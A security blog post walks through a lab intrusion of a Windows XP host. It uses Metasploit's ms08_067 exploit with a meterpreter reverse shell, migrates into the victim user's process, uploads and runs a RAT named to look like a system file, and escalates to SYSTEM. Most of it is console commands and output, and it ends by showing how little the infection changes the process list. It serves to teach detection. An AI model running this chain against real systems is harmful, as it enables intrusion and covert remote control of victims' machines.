Even When You Know You’re Pwnd, It’s Hard To See

I’m playing around with a RAT showdown for a project I’m working on (teaser: It will be a comparison of SharK 3.1, Poison Ivy 2.3.2, and the GPL version of Immunity Inc’s Hydrogen).

While doing this, it really hit home how tough it is to tell a host has been owned if it’s being done right.

I know this anyway, having been on the incident response side of things for a number of years, so it’s not news really. It’s just that every now and then something springs back up from memory and smacks you clear across the face and screams “Oh Yeah!” in a Randy “Macho Man” Savage impression. This was one of those moments for me.

Let me give an example. I’ll do that, by combining it with a “how to use the metasploit framework to upload binaries” overview first.

So, step 1 is: get MSF3, and run the msfconsole. I’m going to skip that step here, and jump straight to setting the payload we want (meterpreter), and exploiting.

First, set the payload:

 msf > setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Now pick everyone’s favorite exploit: ms08_067_netapi

 msf > use exploit/windows/smb/ms08_067_netapi

Let’s take a look at the options:

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     10.0.1.51        yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Some of these were set for me via my msfconsole.rc file (specifically, the LHOST setting for the payload.)
Now I pick the target I’ll be exploiting, and set it with the RHOST option:

msf exploit(ms08_067_netapi) > set RHOST 10.0.1.71
RHOST => 10.0.1.71

Once that’s all set, I can exploit the host:

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.0.1.51:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (10.0.1.51:4444 -> 10.0.1.71:1082)

BAM! I have a meterpreter session (ms08_067 isn’t called ‘old faithful’ for nothing.)

OK. Pentest done. Next B0x!

Unfortunately, that’s too often the case. This is sad really, because there’s so much more I can do with this. Like the following 😉

Let me start by finding out some information about the session, what privs I have on the host, and what process I’m running under:

 meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

meterpreter > getpid
Current pid: 1108

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        VIKTIM2IWAM_VIKTIM2          C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE

Pretty cool. As expected, I’m running as the local system, and have attached to the svchost.exe process (pid# 1108).

If I look at the current working directory for the session, I see it’s the Windows system32 directory:

meterpreter > pwd
C:WINDOWSsystem32

That’s all very cool, but for this example, I want to interact with a user session.
Looking at the process list, I see that there’s a ‘viktim’ user logged in and that user is running explorer.exe in process 1704.

I’m going to try to switch to that process, using the handy migrate function provided by metasploit:

meterpreter > migrate 1704
[*] Migrating to 1704...
[*] Migration completed successfully.

meterpreter > getuid
Server username: VIKTIM2viktim

Excellent. I’ve now switched to a process running in the context of my target user.
Let me take a look at what my current directory is now:

meterpreter > pwd
C:Documents and Settingsviktim

What I want to do now is to upload my malware to the host.
In this case, I’ll be uploading a remote access trojan I built using sharK.
I’ve named the executable msdce32.exe in a sad attempt to be sneaky 😉
To upload the file to the victim host, I use the upload function in meterpreter:

 meterpreter > upload msdce32.exe
[*] uploading  : msdce32.exe -> msdce32.exe
[*] uploaded   : msdce32.exe -> msdce32.exe

Looks like the file upload was successful, so I try running it using the execute command.
This command takes a -f parameter with the filename to execute:

meterpreter > execute -f msdce32.exe
Process 292 created.

Very nice. Looking at my sharK console, I see that the process worked, because my victim has now connected to my SIN and I am able to use sharK to interact with it. (That will be a different post entirely, but here’s a screenshot of what it looks like. Note that the XP Desktop in the image below is actually a screen capture of the victim host that sharK provides when you mouseover the connection in the SIN):

Since I’m done exploiting my victim user, let me return back to the host and go back to a system process using the getsystem method in meterpreter:

meterpreter > getsystem
...got system (via technique 1).

Since I’m back at system, let me see if I can see my trojan running:

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE
 2988  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 916   IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 3448  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

Hmm.. Nothing really stands out.
For fun, I killed the server from the sharK SIN, and compare the process table without the RAT running:

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE
 2988  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 3364  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

If you can’t see a difference between the ‘infected’ and ‘not infected’ states, it’s because there’s not much of one.
Here’s the output from running the ‘diff’ command on the process tables:

 $ diff running notrunning
32,33c32
<  916   IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
<  3448  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe
---
>  3364  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

As you can see, it’s pretty tough to tell that this host is compromised just based on that.

You could see that it was compromised in the network traffic perhaps, as the RAT communicates with its control center. However, if a standard port was being used for the comms (say, TCP/80 for example) it could be difficult to tell even then without looking at the actual packets to examine the data.

Like I said, this wasn’t really something I just figured out, it was just a very nice, clearly defined example of it.